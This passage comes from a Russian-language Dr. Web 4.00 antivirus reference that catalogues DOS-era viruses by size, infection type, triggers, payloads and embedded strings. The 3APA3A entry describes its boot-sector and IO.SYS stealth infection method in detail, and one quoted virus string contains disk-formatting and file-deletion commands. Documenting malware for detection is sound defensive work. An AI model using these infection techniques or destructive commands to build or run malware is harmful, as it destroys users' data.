¦Cruel (2)¦512 (200h) ¦ FB ¦ 2 * ¦ H ¦
¦Crusade ¦3072 (C00h) ¦ M+file¦ 4 * ¦ V ¦
¦Crusher ¦2048 (800h) ¦ M+file¦ 2 * ¦ V ¦
¦DaBoys (2)¦512 (200h) ¦ FB ¦ INTB * ¦ H ¦
¦Damanaegi ¦512 (200h) ¦ F ¦ 2 * ¦ V ¦
¦Damcdoom ¦512 (200h) ¦ FM ¦ 1 * ¦ H ¦
¦Daniela ¦512 (200h) ¦ FM ¦ 1 * ¦ H ¦
¦DarkAngel ¦512 (200h) ¦ FM ¦ 2 * ¦ H ¦
¦Dead.945 ¦1024 (400h) ¦ M+file¦ 2 ¦ - ¦
¦DeadFace ¦512 (200h) ¦ FB ¦ 1 ¦ - ¦
¦DecMem ¦512 (200h) ¦ F ¦ 1+?* ¦ - ¦
¦Defo (2)¦4096 (1000h)¦ FM ¦ 9 ¦ V ¦
¦Demiurg.3061 ¦3072 (C00h) ¦ M+file¦ 7 * ¦ HEr ¦
¦DenZuk (6)¦5120 (1400h)¦ F ¦ 7 ¦ VErCh ¦
¦Destage.1200 ¦1536 (600h) ¦ M+file¦ 2 * ¦ - ¦
¦Devil (2)¦512 (200h) ¦ FM ¦ 1 * ¦ V ¦
¦Diablo ¦512 (200h) ¦ FM ¦ 2 * ¦ - ¦
¦Dinamo ¦512 (200h) ¦ FM ¦ 1 * ¦ V ¦
¦DiskKiller ¦2560 (A00h) ¦ FB ¦ 8 * ¦ HV ¦
¦DiskWasher ¦512 (200h) ¦ FM ¦ 1 * ¦ HV ¦
¦Dodgy ¦1024 (400h) ¦ FM ¦ 1 * ¦ HV ¦
¦Dragon ¦512 (200h) ¦ FM ¦ 1 * ¦ V ¦
¦DrDemon.4292 ¦4608 (12000)¦ M+file¦ 9 * ¦ Er ¦
¦Dream ¦512 (200h) ¦ FM ¦ INTB* ¦ Er ¦
¦DrWhite ¦1536 (600h) ¦FM+file¦ 3 * ¦ - ¦
¦Duran ¦512 (200h) ¦ FM ¦ 1 * ¦ H ¦
¦Edwin ¦1024 (400h) ¦ FM ¦ 2 ¦ - ¦
¦Ekaterinburg ¦512 (200h) ¦ FM ¦ INTB * ¦ V ¦
¦Ekoterr.2000 ¦2048 (800h) ¦ M+file¦ 2 ¦ V ¦
¦EncePhalyt ¦512 (200h) ¦ FM ¦ INTB * ¦ H ¦
¦Ester ¦512 (200h) ¦ FM ¦ 1 * ¦ HEr ¦
¦ExeBug (6)¦512 (200h) ¦ FM ¦ 1 * ¦ H ¦
¦Fame ¦1024 (400h) ¦FM+file¦ 1 * ¦ Er ¦
¦Fanthomas.1443 ¦1536 (600h) ¦ M+file¦ 2 * ¦ Er ¦
¦FATAvenger ¦2048 (800h) ¦ FM ¦ 3 * ¦ - ¦
¦Fatty.3008 ¦4096 (1000h)¦MB+file¦ 4 ¦ HEr ¦
¦Feint (3)¦512 (200h) ¦ FM ¦ 2 ¦ - ¦
¦FifteenYears (2)¦1024 (400h) ¦ FM ¦ 3 * ¦ H ¦
¦Fighter.7408 ¦7680 (1E00h)¦ M+file¦ - * ¦ V ¦
¦Filler (3)¦4096 (1000h)¦ FM ¦ - * ¦ HV ¦
¦Fist.927 ¦1536 (600h) ¦ M+file¦ 3 ¦ - ¦
¦Fisu ¦512 (200h) ¦ FM ¦ 1 * ¦ - ¦
¦FitW (2)¦4096 (1000h)¦FM+file¦ 5 * ¦ HV ¦
¦Flame (3)¦512 (200h) ¦ FM ¦ 1 * ¦ HV ¦
¦Flip ¦2560 (A00h) ¦ M+file¦ 3 * ¦ HV ¦
¦Form (4)¦1024 (400h) ¦ FM ¦ 2 * ¦ H ¦
¦Frankenstein ¦4096 (10000)¦ FM ¦ 4 * ¦ H ¦
¦Galicia (2)¦512 (200h) ¦ FM ¦ 2 * ¦ HV ¦
¦Gelendzhik ¦512 (200h) ¦ FM ¦ 2 ¦ - ¦
¦Goblin ¦2560 (A00h) ¦ M+file¦ 3 * ¦ V ¦
¦GoldBug (5)¦1024 (400h) ¦FM+file¦ HMA * ¦ HCh ¦
¦GraveLion.2250 ¦3072 (C00h) ¦ M+file¦ 5 * ¦ V ¦
¦Gullich ¦1536 (600h) ¦ FB ¦ 3 * ¦ V ¦
¦Haharin ¦512 (200h) ¦ FM ¦ 1 * ¦ HV ¦
¦Hal ¦512 (200h) ¦ FM ¦ 1 * ¦ V ¦
¦Halfive.512 ¦1024 (400h) ¦ M+file¦ 1 * ¦ H ¦
¦Havoc (2)¦4608 (1200h)¦FM+file¦ - * ¦ V ¦
¦HDDError ¦512 (200h) ¦ FM ¦ 1+INTB* ¦ HV ¦
¦Hemlock ¦3584 (E00h) ¦FM+file¦ 8 * ¦ - ¦
¦Implant.6182 ¦6656 (1A000)¦FM+file¦ 7 * ¦ HV ¦
¦Int10 ¦1024 (400h) ¦ FM ¦ 1 * ¦ V ¦
¦Int12 ¦512 (200h) ¦ FB ¦ 1 * ¦ - ¦
¦IntAA ¦512 (200h) ¦ FM ¦ 1 ¦ - ¦
¦IntC1 ¦512 (200h) ¦ FM ¦ INTB * ¦ - ¦
¦IntCE ¦512 (200h) ¦ FB ¦ INTB * ¦ H ¦
¦IntFF ¦512 (200h) ¦ FM ¦ 1 * ¦ HCh ¦
¦Invader (10)¦4096 (1000h)¦FB+file¦ 5,6* ¦ HVS ¦
¦IronE ¦1536 (600h) ¦ FB ¦ 3 * ¦ - ¦
¦J&M ¦512 (200h) ¦ FM ¦ 2 * ¦ H ¦
¦Jindra ¦1024 (400h) ¦ FB ¦ 2 * ¦ H ¦
¦Joshi ¦5120 (1400h)¦ FM ¦ 6 * ¦ V ¦
¦July29 (4)¦1536 (600h) ¦ FB ¦ 3 * ¦ HVEr ¦
¦JumpBoot ¦1024 (400h) ¦ M+file¦ INTB * ¦ H ¦
¦Jumper (2)¦512 (200h) ¦ FM ¦ 2 * ¦ V ¦
¦Kaczor (2)¦4608 (1200h)¦ M+file¦ 6 * ¦ V ¦
¦Kampana (2)¦1024 (400h) ¦ FM ¦ 1 * ¦ HV ¦
¦Karnavali.1972 ¦2048 (800h) ¦ M+file¦ - * ¦ V ¦
¦Keypress.2728 ¦3584 (E00h) ¦ F+file¦ 7 ¦ V ¦
¦Konstantin ¦512 (200h) ¦ FM ¦ 1 * ¦ Ch ¦
¦Kysia ¦2048 (800h) ¦ M+file¦ 4 * ¦ V ¦
¦Leandro ¦1024 (400h) ¦ FM ¦ 4 * ¦ HV ¦
¦LeftShift ¦1024 (400h) ¦ FM ¦ 2 * ¦ Ch ¦
¦Likeness.3551 ¦4608 (1200h)¦ M+file¦ 5 * ¦ HEr ¦
¦LivingDeath.3766 ¦4096 (1000) ¦ M+file¦ 4 * ¦ HV ¦
¦Kl (3)¦512 (200h) ¦ FM ¦ 1 ¦ - ¦
¦Lucifer (2)¦512 (200h) ¦ FB ¦ - * ¦ H ¦
¦LP ¦512 (200h) ¦ FB ¦ 1 ¦ - ¦
¦LZR ¦1024 (400h) ¦ FM ¦ 2 * ¦ H ¦
¦MacGyver.4112 ¦4096 (1000h)¦FM+file¦ - * ¦ Er ¦
¦Malaga.2610 ¦3072 (C00h) ¦FB+file¦ 4 ¦ V ¦
¦Mammoth.6000 ¦6656 (1A00h)¦FM+file¦ 8 * ¦ H ¦
¦Marzia (12)¦2560 (A00h) ¦ M+file¦ 3 * ¦ HV ¦
¦Manitoba ¦512 (200h) ¦ FM ¦ 2 * ¦ H ¦
¦MBR77 ¦512 (200h) ¦ FM ¦ 1 * ¦ H ¦
¦Michelangelo (5)¦512 (200h) ¦ FM ¦ 2 * ¦ H ¦
¦Microbe ¦4096 (1000h)¦ F ¦ 4 * ¦ V ¦
¦Midnight (2)¦512 (200h) ¦ FM ¦ 1,2* ¦ V ¦
¦Mikola ¦512 (200h) ¦ FM ¦ 1 * ¦ H ¦
¦Million ¦512 (200h) ¦ FM ¦ 2 ¦ - ¦
¦MiniMax ¦512 (200h) ¦ FM ¦ 1 * ¦ ChEr ¦
¦MISiS (4)¦512 (200h) ¦ FM ¦ INTB* ¦ V ¦
¦Moloch ¦1536 (600h) ¦ FM ¦ 3 * ¦ Ch ¦
¦Mongol ¦1536 (600h) ¦ FM ¦ 2 * ¦ HV ¦
¦Monkey (2)¦512 (200h) ¦ FM ¦ 1 * ¦ - ¦
¦MPhTI (3)¦512 (200h) ¦ FB ¦ 2 * ¦ HEr ¦
¦MrHu ¦512 (200h) ¦ FM ¦ 1 * ¦ HV ¦
¦MultiAni ¦1024 (400h) ¦ FB ¦ 1 * ¦ H ¦
¦Murky ¦512 (200h) ¦ FM ¦ 2 * ¦ H ¦
¦MusicBug ¦2048 (800h) ¦ FB ¦ 4 * ¦ S ¦
¦Narcosis ¦2560 (A00h) ¦FM+file¦ 2 * ¦ H ¦
¦Natas (9)¦4608 (1200h)¦FM+file¦ 6 * ¦ H ¦
¦NearDark ¦512 (200h) ¦ FM ¦ 1 * ¦ HV ¦
¦Nice ¦512 (200h) ¦ FM ¦ 1 * ¦ V ¦
¦NYB ¦512 (200h) ¦ FM ¦ 1 * ¦ - ¦
¦OneHalf (7)¦4096 (1000h)¦ M+file¦ 4 * ¦ HV ¦
¦Ornate ¦512 (200h) ¦ FB ¦ 3 * ¦ H ¦
¦Palma ¦512 (200h) ¦ FM ¦ 1 * ¦ - ¦
¦Parity (3)¦512 (200h) ¦ FM ¦ 1 * ¦ V ¦
¦Pasta ¦512 (200h) ¦ FM ¦ 2 ¦ - ¦
¦Paula ¦512 (200h) ¦ FM ¦ 1 * ¦ - ¦
¦Peter ¦2560 (A00h) ¦ FM ¦ ADDR* ¦ HV ¦
¦PG ¦512 (200h) ¦ FM ¦ 1 ¦ - ¦
¦Pieck.2016 ¦2048 (800h) ¦ M+file¦ 4 * ¦ V ¦
¦PlayGame ¦2560 (A00h) ¦ M+file¦ 3 * ¦ V ¦
¦Predator ¦3072 (C00h) ¦FM+file¦ 6 * ¦ - ¦
¦Procuror ¦1536 (600h) ¦ FM ¦ 2 * ¦ HCh ¦
¦Qmu.1513 ¦1536 (600h) ¦ M+file¦ 5 * ¦ HCh ¦
¦Query ¦512 (200h) ¦ FB ¦ 1 * ¦ HEr ¦
¦Quox ¦512 (200h) ¦ FM ¦ 1 * ¦ H ¦
¦Raiden.1433 ¦2048 (800h) ¦ M+file¦ 2 * ¦ V ¦
¦Rain ¦1024 (400h) ¦ FM ¦ 2 * ¦ H ¦
¦Renegade.4509 ¦4608 (1200h)¦ M+file¦ 7 * ¦ HV ¦
¦Rex ¦2560 (A00h) ¦ M+file¦ 2 * ¦ Ch ¦
¦Ripper ¦1024 (400h) ¦ FM ¦ 2 ¦ H ¦
¦Rmb ¦512 (200h) ¦ FM ¦ 1 * ¦ H ¦
¦Rostov ¦512 (200h) ¦ FM ¦ 1 ¦ - ¦
¦RP (2)¦512 (200h) ¦ FM ¦ 1 * ¦ HV ¦
¦RPS (3)¦512 (200h) ¦ FM ¦ 1 * ¦ H ¦
¦Sampo ¦2560 (A00h) ¦ FM ¦ 6 * ¦ V ¦
¦Satria (4)¦512 (200h) ¦ FM ¦ 1 * ¦ V ¦
¦Scale ¦512 (200h) ¦ FM ¦ 2 ¦ - ¦
¦Secretary ¦2048 (800h) ¦ FM ¦ 2 * ¦ V ¦
¦SeeYou ¦1024 (400h) ¦ FB ¦ 2 * ¦ HV ¦
¦Sevilla ¦512 (200h) ¦ FM ¦ 1 ¦ - ¦
¦Shimmer (2)¦512 (200h) ¦F+WINSTART HMA * ¦ Ch ¦
¦Sierra (4)¦512 (200h) ¦ FM ¦ 1 * ¦ H ¦
¦SheHas ¦512 (200h) ¦ FM ¦ 10* ¦ - ¦
¦Sly ¦1024 (400h) ¦ M+file¦ 1 * ¦ H ¦
¦Smile.4320 ¦4608 (1200h)¦ M+file¦ 5 * ¦ S ¦
¦Spirit ¦512 (200h) ¦ FM ¦ 1 * ¦ - ¦
¦Spook (2)¦512 (200h) ¦ FM ¦ 2 * ¦ H ¦
¦StealthBoot (2)¦3072 (C00h) ¦ FM ¦ 4 ¦ - ¦
¦Stoned (?)¦512 (200h) ¦ FM ¦ 2,1 ¦ VEr ¦
¦Strafer ¦512 (200h) ¦ FB ¦ 1 * ¦ H ¦
¦Strike ¦512 (200h) ¦ FM ¦ 1 * ¦ HCh ¦
¦Survivor ¦512 (200h) ¦ FM ¦ 2 * ¦ - ¦
¦SVC ¦5120 (1400h)¦ M+file¦ 5 ¦ - ¦
¦Swedish ¦512 (200h) ¦ FM ¦ 2 * ¦ V ¦
¦SwissArmee (3)¦1536 (600h) ¦ FM ¦ 3 * ¦ HV ¦
¦Temptation ¦512 (200h) ¦ FM ¦ 1 * ¦ V ¦
¦Tequila ¦3072 (C00h) ¦ FM ¦ 3 * ¦ V ¦
¦Tiso.1279 ¦1536 (600h) ¦ M+file¦ 2 * ¦ V ¦
¦Tornado ¦512 (200h) ¦ FM ¦ 1 * ¦ - ¦
¦TPVO.3783 ¦4608 (1200h)¦FM+file¦ - * ¦ - ¦
¦Traka.1471 ¦1536 (600h) ¦FM+file¦ 3 * ¦ - ¦
¦Tubo ¦1536 (600h) ¦ FM ¦ 4 * ¦ V ¦
¦Twofs ¦512 (200h) ¦ FM ¦ 1 * ¦ H ¦
¦UNashamed (2)¦512 (200h) ¦ FM ¦ 1 * ¦ V ¦
¦Urkel (2)¦512 (200h) ¦ FM ¦ 2 * ¦ V ¦
¦V-Sign ¦1536 (600h) ¦ FM ¦ 2 * ¦ V ¦
¦Varna.1536 ¦1024 (400h) ¦FM+file¦ 3 * ¦ H ¦
¦Vaucher ¦512 (200h) ¦ FM ¦ 2 ¦ - ¦
¦Verify ¦512 (200h) ¦ FM ¦ 2 * ¦ Ch ¦
¦Veronika ¦1024 (400h) ¦ FM ¦ 2 * ¦ V ¦
¦Villy ¦512 (200h) ¦ FM ¦ 1 * ¦ - ¦
¦Vlad ¦512 (200h) ¦ FM ¦ 1 * ¦ - ¦
¦Volga.1 ¦512 (200h) ¦ FM ¦ 1 ¦ - ¦
¦Vtb ¦512 (200h) ¦ FM ¦ 2 * ¦ - ¦
¦XorAA ¦512 (200h) ¦ FM ¦ 1 * ¦ H ¦
¦Yale (3)¦512 (200h) ¦ F ¦ 1 * ¦ H ¦
¦YMP ¦512 (200h) ¦ FM ¦ 2 ¦ V ¦
¦WBoot (2)¦512 (200h) ¦ FM ¦ 1 ¦ - ¦
¦Wet ¦512 (200h) ¦ FB ¦ - * ¦ HV ¦
¦Wrong ¦512 (200h) ¦ FM ¦ 2 * ¦ H ¦
¦Wxyc (2)¦512 (200h) ¦ FB ¦ 2 * ¦ V ¦
¦Zabootovka (3)¦512 (200h) ¦ FM ¦ 1 * ¦ - ¦
¦Zappa ¦512 (200h) ¦ FB ¦ 1 * ¦ HV ¦
¦ZhengZhou.3584 ¦3072 (C00h) ¦ M+file¦ - ¦ HV ¦
L==================¦============¦=======¦==========¦==========-
Файл описания вирусов, определяемых и обезвреживаемых Dr. Web 4.00
3APA3A (1-3)
Файлово-загрузочные вирусы. Заражают Boot-сектора дискет и системный
файл IO.SYS для MS-DOS или аналогичный ему в других DOS. При загрузке с
инфицированной дискеты вирусы считывают в память 5 секторов корневого
каталога (root directory) загрузочного раздела жесткого диска и
проверяют атрибут метки тома (Volume) у первого элемента директория.
Обычно, первым элементом является системный файл IO.SYS. Если атрибут
Volume установлен, то вирусы никаких действий не производит, считая что
IO.SYS уже инфицирован, и отдают управление оригинальному Boot-сектору
флоппи-диска. Если же атрибут метки тома не установлен, то вирусы
считывают в память целиком файл IO.SYS, "передвигаясь" непосредственно
по цепочке FAT. Затем производят копирование системного файла в
последние кластеры логического раздела. Причем вирусы очень аккуратно
"просматривают" FAT для последних секторов диска, и если файл не
помещается в последние 256 кластеров диска, то вирусы отказываются от
дальнейшего заражения. Затем вирусы корректируют две копии FAT в
соответствии с дублированием IO.SYS в последние сектора раздела,
копируют служебные поля элемента IO.SYS в третий элемент корневого
оглавления, сдвигая все оглавление с третьего элемента по 80,
уничтожая, т.о., 80 элемент (файл или директорий). Устанавливают для
третьего элемента (копия IO.SYS) новый начальный кластер. После чего
вирусы записывают в начальный кластер первого элемента (оригинальный
IO.SYS) 1024 байта своего кода. И только после этого вирусы
устанавливают атрибут Volume для первого, инфицированного элемента
корневого директория. Таким образом при загрузке системы с жесткого
диска, Boot-сектор активного раздела находит первый элемент в root
directory IO.SYS, не обращая внимания на установленный атрибут метки
тома, считывает первый кластер данного драйвера, содержащий в себе
1024 байта вирусного кода, в память и отдает ему управление. Получив
управление вирусы действуют как "обычные" Boot-вирусы - "отрезают" от
памяти DOS 2 или 3 килобайта, переносят в "отрезанную" область свою
копию и перехватывают INT 13h (3APA3A (1)) или INT 16h (3APA3A (2)),
для заражения Boot-секторов дискет. После того как вирусы стали
резидентно в памяти, они считывают в память первый кластер
"файла-дублера" IO.SYS и отдают ему "бразды правления". Дальше все
происходит, как в незараженной системе: первый кластер отработав,
находит второй кластер инфицированного файла, считывает его в память,
передает ему управление и т.д. Стоит сказать о том, что зараженный файл
IO.SYS, имеющий атрибут Volume, не виден стандартными средствами DOS.
Т.о., "файл-дублер" необходим, практически, для маскировки и для
хранения оригинального первого кластера IO.SYS. Вирусы не заражают файл
IO.SYS если активный раздел диска содержит меньше, чем 20740 (5104h)
секторов, т.е., емкость диска " 10370Kb. Опасность вирусов состоит в
том, что даже при загрузке с "чистого" системного флоппи-диска и ввода
команды SYS C:, вирусные коды не будут удалены с диска!!! Данная
команда произведет перезапись только "файла-дублера" IO.SYS. И самое
неприятное в том, что если программа SYS запишет файл на новое место на
диске, то система перестанет загружаться с жесткого диска, т.к., вирусы
в своем теле хранят адрес начального сектора "файла-дублера" IO.SYS.
При заражении Boot-секторов флоппи диска вирусы шифруют свой код,
причем расшифровщик выбирается из 12 возможных. Оригинальный
Boot-сектор и свое продолжение (код, внедряемый в файл IO.SYS) вирусы
"хранят" в двух последних секторах Root Directory дискеты. При загрузке
системы в августе месяце 3APA3A (1) выводит сообщение B BOOT CEKTOPE -
3APA3A! 3APA3A (1) неработоспособен в 25% на процессорах 286, 386, 486
из-за ошибки при использовании конвейера. 3APA3A (2) при загрузке
системы в декабре издает звуковой сигнал.
3nop
Очень опасный Boot-вирус. Заражает MBR и Boot-сектора дискет. Но кроме
того, при записи секторов, если первый байт 0E9h, то вирус, полагая,
что это начало COM-файла, записывает вместо данного сектора свой код,
способный заразить MBR и Boot-сектора флоппи-дисков.
4on.1346
Неопасный полиморфный резидентный вирус. Содержит текст "4ON-\\*+"".
4res.1049
Неопасный нерезидентный вирус. В понедельник 1 числа "вешает" систему.
Содержит текстовую строку "4RESPATH=COMSPEC=*.COM *.EXE 4RES".
7thSon.440
Неопасный нерезидентный вирус. Создает временные файлы на диске C:\,
которые не удаляет. Содержит текст "SiGVE v1.0 TP4 Compilation!".
A1B2.478
Опасный замещающий вирус. По окончании своей работы вирус имитирует
ошибку позиционирования на текущем диске и выводит сообщение:
Seek error reading drive
Abort, Retry, Ignore, Fail?
При нажатии на клавишу 'A' вирус отдает управление DOS. Содержит в
начале кода текстовую строку "A1B2C3D4", которая используется, как
инструкции ассемблера. При не нахождении в текущем каталоге на флоппи-
диске файлов *.COM вирус, видимо, хотел бы отформатировать нулевую
дорожку данной дискеты, но в данном месте имеется ошибка, и
форматирование не произойдет.
A&A
Неопасный резидентный вирус. С февраля по ноябрь каждый час
переставляет соседние символы на экране. Содержит текст "{A&A}".
Abbas.5660
Неопасный резидентный вирус. При попытке трассировки резидентной копии
вирус выводит сообщение "IRANIAN VIRUS W.by ABBAS KUHKAN ALIABADI" и
"перезагружает" систему. В полночь вирус устанавливает арабский
знакогенератор и выводит на арабском языке сообщение:
-===============================================¬
¦ №ЛЛєСЛЛуЧ •їиУ ¦
¦ ¤д°•д·У й¦РеъР ° С·їЛЛЛЛЧи¦и №иддУ еюдї ¦
¦ ¦
¦ Ў¦Р в¦дРв в°б
¦ •Чъдк¦Х ¤дЧ°¦ХїСю ЦСўСюїР °
¦ ЙДБДГБ-ЙАВЖАА-ЙАГЕАД
¦ ¦
L===============================================-
Abraxas.1304
Очень опасный нерезидентный вирус, замещающий программный код. Заражает
EXE-файлы в текущем и родительских каталогах, а также файл
C:\DOS\DOSSHELL.COM. Издает некоторые звуки и выводит на экран текст:
--------------------------------------------------------------------------
- -
- ------ ------- ------- ------ --- --- ------ ------ -
- --- --- --- --- --- --- --- --- ------ --- --- --- -
- -------- ------- ------- -------- ---- -------- ------ -
- --- --- --- --- --- --- --- --- ------ --- --- --- -
- --- --- ------- --- --- --- --- --- --- --- --- ------- -
--------------------------------------------------------------------------
Abs-3
Опасный Boot-вирус. Может уничтожить 7 первых секторов флоппи-диска.
Acv.1342 (1,2)
Неопасный вирус. В понедельник в 15 часов выводит на экран текст:
The AC Virus - ACV Version 1.01 , 1993
by
Ahmet Cezayirli
Istanbul University
Electronics Engineевашо
Ade.1024
Неопасный нерезидентный вирус. Иногда выводит на экран текст:
Job needed! Phone (095) 9430700 ADE
Adder.1467
Неопасный резидентный вирус. Содержит ошибку, из-за которой некорректно
заражает EXE-файлы. Содержит строку "adder".
Adolf.475
Опасный резидентный вирус. С вероятностью 1/8 блокирует удаление
файлов. Содержит текст "Adolf Hitler".
Aforia.656
Неопасный резидентный вирус. После заражения каждого файла "осыпает"
буквы на экране монитора, установив на это время в CMOS-памяти признак
отсутствия жесткого диска.
Aga.1500
Неопасный нерезидентный шифрованный вирус. В пятницу вирус записывает в
файл AUTOEXEC.BAT текст:
ECHO Hey,suckers! Hold on,your data's gone too far!
ECHO MONGOLIA,UB.
В пятницу 13-го вирус выводит текст "WARNING! Today is the 13th !".
Если вирус считает, что стартовал из инфицированного файла WIN.COM, то
он выводит текст:
WARNING!!! Your MS-Windows 3.1 you are working with is not licensed!
In the light of it,we are entitled to aver that we will activate
a protective application against your unauthorised access...
А при старте зараженного файла DOOM.COM вирус выводит текст:
DOOM! v1.0 Всъэы еЁ Децнецй х°цй Ёюъи°м жетце!
Содержит также текст "AGA Media(C),94". При заражении файла COMMAND.COM
из версии MS-DOS 5.0 вирус не увеличивает его длины, записываясь в
область нулевых байт.
Aga.3000
Неопасный нерезидентный вирус. Иногда выводит следующие сообщения:
Hello! You're already doomed!
Don't think about it!!!!!
Real-time error at 0x9207.
Try again...
************************************
WARNING!
It's AGA-v2 from MONGOLIA!
The file size was changed!
[Q]uit or continue?
************************************
Содержит тексты: "(*AGAv2.1,super stealth virus from MONGOLIA,UBЦ*)",
"DiRVeRWiNA:\ B:\ D:\ TiMeHeLpCaLcPaUsEWrItESeTuPDiR A:DiR B:Md wArNiNg
!FoRmAt A:/sDeL AuTo*.*DeL CoNf*.*Md ClEar HDMd FoRmAtItscantiaidsdrweb
.lkitf-pradinshercpav$$mon_k_pURAA!!!".
Agiplan.1536
Очень опасный резидентный вирус. В зависимости от текущей даты может
уничтожить информацию на всех доступных дисках. Иногда может вывести
сообщение "load error".
Aija
Очень опасный Boot-вирус. 25 марта уничтожает содержимое первого секто-
ра на всех цилиндрах активного раздела DOS и выводит сообщение:
FINNISH_SPRAYER.1. Send your Painting +358-0-4322019 (FAX), [Aija] Со-
держит строку "Tks to B.B., Z-VirX ..... [Aija]".
Ai.1759
Опасный резидентный вирус. Иногда уничтожает нулевые дорожки на первом
и втором жестких дисках компьютера.
Aiw.572
Содержит строку "AIW2°JB".
Alabama.1560
Неопасный резидентный вирус. Перехватывает INT 09, 21h. Пытается
"пережить теплую перезагрузку" системы по Ctrl-Alt-Del. Периодически
выводит на экран сообщение:
г==============================================================================¬
¦SOFTWARE COPIES ARE PROHIBITED BY INTERNATIONAL LAW Xыў nЛЧ·РЇ· 0000000009 ¦
¦ ¦
¦ °i¤dь}ў· ¦РЇРЇРЇ Box 1055 Tuscambia ALABAMA USA ¦
L==============================================================================-
Alcon
Очень опасный загрузочный вирус. В зависимости от своих счетчиков может
уничтожать информацию на дисках. Содержит текст "/RS.Y/".
Alex.368
Оставляет в памяти резидентную программу, посылающую значение FEh в
порт 60h. Имеет текст "The One Night Virus (C) Alex Hacker".
Alex.818
Оставляет в памяти резидентную программу, стирающую содержимое экрана.
Содержит текст "The Kite Virus (C) Alex Hacker".
Alex.1287
Неопасный нерезидентный вирус. 20 числа оставляет в таблице векторов
прерываний резидентный код, который исполняет мелодию из фильма
"Карьера Димы Горина". Имеет текстовую строку "AlEx".
Alfons.1344, 1536
Очень опасные резидентные вирусы. Если значение дня недели (понедельник
- 1, вторник - 2,...) + 1 совпадает со значением числа месяца, то
вирус уничтожает содержимое секторов диска, заполняя их текстом
"Alfons !" и выводит текст:
Synchronizing drive C: (Do not interrupt this operation !): 0%
Done.
Alia.1023, 1200, 1300
Неопасные резидентные шифрованные вирусы. Содержат тексты "ALIA" или
"~ALIA~".В коде вирусного расшифровщика используют команды сопроцессора
- FINIT, FCHS, FTST, FNOP.
Alias.6943
Опасный резидентный полиморфный вирус. Использует вход в защищенный
режим процессора и немедленный выход из него. Для чего - непонятно?
Данный код был полностью скопирован из книги А. и Г. Фроловых
"Защищенный режим процессоров Intel 80286/80386/80486", причем без
понимания сущности данного кода. Вирус пытается определить тип
процессора, и если процессор - 286 или ниже,выводит текст "Sorry, 80286
CPU or higher required . . .". Далее, если компьютер уже находится в
защищенном режиме, то вирус выводит текст "Cannot run in the Protected
or V8086 mode." и завершает работу программы. Также может вывести на
экран тексты:
Even ALIAS-1 - the simplest virus - could not run on your computer.
ID: ALIAS V1.02 - a HARMLESS virus.
(c) St.-Petersburg's El.-Tech. University, CAD/CAM department, 1996.
Перехватывает INT 8, 13h, 21h, 2Fh. С помощью INT 8 вирус контролирует
целостность своего резидентного кода. При старте некоторых программ
(DRWEB, AIDSTEST,...) вирус выводит текст "Bad command or file name".
Alive.4000
Неопасный резидентный полиморфный вирус. Может вывести на экран текст:
"=- A·L·I·V·E -="
Distributed by the Alternative AL and AI Research Lab Germany,1995
FIRST NAME [804645]
LAST NAME [078000]
BIRTHDAY [05-04-95 16:05]
GENERATION [0004]
HEIR [0004]
SUM [0014]
Не заражает программы указанные в списке (по 2 символа на имя):
-D-U-VF-TBSSSVVIVSNEVPIMAVCLCOHMINMSSCWI. Содержит также текст
"Rewritten by SiRiUS. PrimeCode:***ЩрNV|42$)fJ***]".
Alla.1281, 1325, 1407
Опасные резидентные файлово-загрузочные вирусы.Оригинальный загрузочный
сектор и свой код для флоппи - дисков хранят на нестандартно
отформатированной последней дорожке. С вероятностью 1/8 блокируют
операцию создания файлов. Имеют тексты "Alla 1.0" и "Wild W0rker /RSA".
Als.335
Очень опасный нерезидентный вирус. По понедельникам уничтожает
содержимое диска C: и пытается вывести текст (но выводит мусор) "PC
infected by KPOBOCOC 1.0 ViRUS. (C) by A.L.S.".
Als.339
Очень опасный нерезидентный, замещающий программный код, вирус. По
окончании своей работы вирус выводит текст "This program requires
Microsoft Windows.". Содержит также текст "XA-XA 1.01 A.L.S.".
Am.1061
Неопасный резидентный шифрованный вирус. Примерно через 3 часа работы
периодически сбивает развертку монитора.
Aman.10716
Неопасный резидентный вирус. Заражает EXE-файлы. После 17.00 и при
нажатии на клавишу PrintScreen выводит в графическом формате
изображение мужского члена. Содержит строки "Аман Тулеев" и "V1.2".
Amanita.1135
Неопасный резидентный зашифрованный вирус. Содержит текстовую строку
""Amanita" v3.03 (c) 1997".
Ambulance.796 (1,2), 2124
Неопасные нерезидентные (Ambulance.2124 - резидентный) вирусы. Иногда
(Ambulance.2124 через 20 минут после неактивной клавиатуры и если не
было обращений к дискам через INT 13h) рисуют двигающийся внизу экрана
и издающий звуки сирены автомобиль скорой помощи:
\|/
------------
----- ---- \
---------------
-- OO ----- O -
Amd.3948
Неопасный резидентный вирус. Иногда выводит на экран текст:
--- -- -- ----- ----- --- ---- ---- - - ---- ----
- - - - - - - - - - - - - - - - - - -
- - - -- - - - --- --- - - ---- --- - - --- ----
------- - - - - - - - -- - - - - --
- - - - ----- - --- - -- ---- - ---- - --
- - --- -- - ---- --- - - ---
- - - - - - - - - - - - -
- - - - - - - - - - - - ---
- - - - - - - - - - - - - - -
- - --- - -- ---- --- - - ---
-- -- - - --- ----- ----- --- ----
- - - - - - - - - - - -
- -- - - - --- - - - - ---
- - - - - - - - - -
- - ---- --- - ----- --- ----
Также рассылает по сети Novell сообщение "Windows 95 Must Die !!!".
Amd.4772
Неопасный резидентный шифрованный вирус. Рассылает по сети Novell
сообщение "ОЙ! ДОСТАЛИ ЛАМЕРЫ !!!". В пятницу записывает в MBR жесткого
диска недоделанный загрузочный вирус, который "перехватывает" INT 13h,
прячет свое наличие на диске, но только "забывает" заражать загрузочные
сектора дисков. Вирус содержит тексты:
NAME: MPEI
Данилов ты ЧАЙНИК,ТАКОЙ ЖЕ КАК И БИЛЛИ ГАТЕС(ТЫ ПОЙМЕШЬ).
Тозмоза, вирус, которому дал имя AMD назывался не AMD ,
а Windows 95 MUST DIE !!!
а строчку Windows 95 MUST DIE !!! он слал в виде мессаги по сети.
Принеси свои извинения и ,кстати, напиши Upgrade для юзеров.
DRWEB очень хорошо разносит заразу по винту. Эффект на 1000%
И еще, лучше бы ты через DMA бластер программил !
Жду версий под Вынд0уz 59, вот там ты поработаешь через DMA.
Балбес, ты Лозинского без работы оставил !!!
Copyleft (c) Down'niloff Corp.,2000. All Lefts Preserved. Григорчук.
AMGorb.4670
Опасный резидентный шифрованный вирус. Периодически "трясет" экран.
Вирус "перехватывает" INT 13h и при чтении секторов диска пытается
найти строку "Micro", и при нахождении ее - изменяет данную строку на
"*AMG*". Может вывести одно из следующих сообщений:
Heat level critical.Shutdown sequence initiated...
Dr.WEB-полный DUMB! если кто с нами согласен прошу :
